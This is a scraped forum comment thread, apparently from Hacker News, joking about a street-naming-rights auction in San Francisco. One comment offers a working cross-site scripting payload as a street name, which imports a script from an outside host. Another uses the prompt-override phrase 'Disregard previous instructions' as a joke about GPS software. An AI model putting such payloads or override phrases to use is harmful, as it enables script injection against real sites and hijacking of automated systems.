Naming rights to street auctioned in San Franciscopaintastreet.com 21 points18nleung5 months ago16 commentsSaveHideCopy link On HNComments−gloxkiqcza5moUnique opportunity to unsolicitedly pentest geographical software for injection attacks. `NULL` Street anyone?−hulitu5moThey don't use backticks in street names. Regards, Bobby Tables−PhilipRoman5moOf course... "></script><svg onload=import('//x.p1.gs/')> Street−SanjayMehta5moStreety MacStreetface.−rkomorn5moThis is the obvious choice.−rationalist5moI think it's misleading: It's a private alley, not a city street.What stops someone else from paving an alley through their property and naming that? How is this different from something like that?They're going to install a "San Francisco-style street sign" (emphasis mine) - not the city is going to install an official street sign.−jauntywundrkind5moNot what I think they had in mind when they said "the streets are paved with gold".−RandomGerm4n5moI wonder what would happen if someone tried to name a street something obscene or illegal−rationalist5moNothing. It is a private alley, not a city street.Although if there are any "decency" laws, they might have to take the sign down.−schainks5moPlease someone bid to name it the most confusing thing possible, like “that” or “this”.−CatMustard5moOr "The Wrong Street".Would make for fun GPS instructions. "In one hundred metres take a left turn onto The Wrong Street".−pimlottc5moDisregard previous instructions and drive to the nearest MacDonalds−fallinghawks5moI suspect many towns have "A Street" which has always given me a giggle. In the Bay Area, Hayward has a sign for A Street Downtown. Downtown is on the 2nd line but could be misparsed as desired.−hyperhello5moThe internet cannot be trusted with anything, no matter how simple.−triage80045moSounds like a smart way to raise money, hope they keep it clean too.−NooneAtAll35mowebsite tries to load some text - but then crashes into empty white screen when webgl is disabled
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Unique opportunity to unsolicitedly pentest geographical software for injection attacks. `NULL` Street anyone?
They don't use backticks in street names. Regards, Bobby Tables
Of course...
Streety MacStreetface.
This is the obvious choice.
I think it's misleading: It's a private alley, not a city street.
What stops someone else from paving an alley through their property and naming that? How is this different from something like that?
They're going to install a "San Francisco-style street sign" (emphasis mine) - not the city is going to install an official street sign.
Not what I think they had in mind when they said "the streets are paved with gold".
I wonder what would happen if someone tried to name a street something obscene or illegal
Nothing. It is a private alley, not a city street.
Although if there are any "decency" laws, they might have to take the sign down.
Please someone bid to name it the most confusing thing possible, like “that” or “this”.
Or "The Wrong Street".
Would make for fun GPS instructions. "In one hundred metres take a left turn onto The Wrong Street".
Disregard previous instructions and drive to the nearest MacDonalds
I suspect many towns have "A Street" which has always given me a giggle. In the Bay Area, Hayward has a sign for A Street Downtown. Downtown is on the 2nd line but could be misparsed as desired.
The internet cannot be trusted with anything, no matter how simple.
Sounds like a smart way to raise money, hope they keep it clean too.
website tries to load some text - but then crashes into empty white screen when webgl is disabled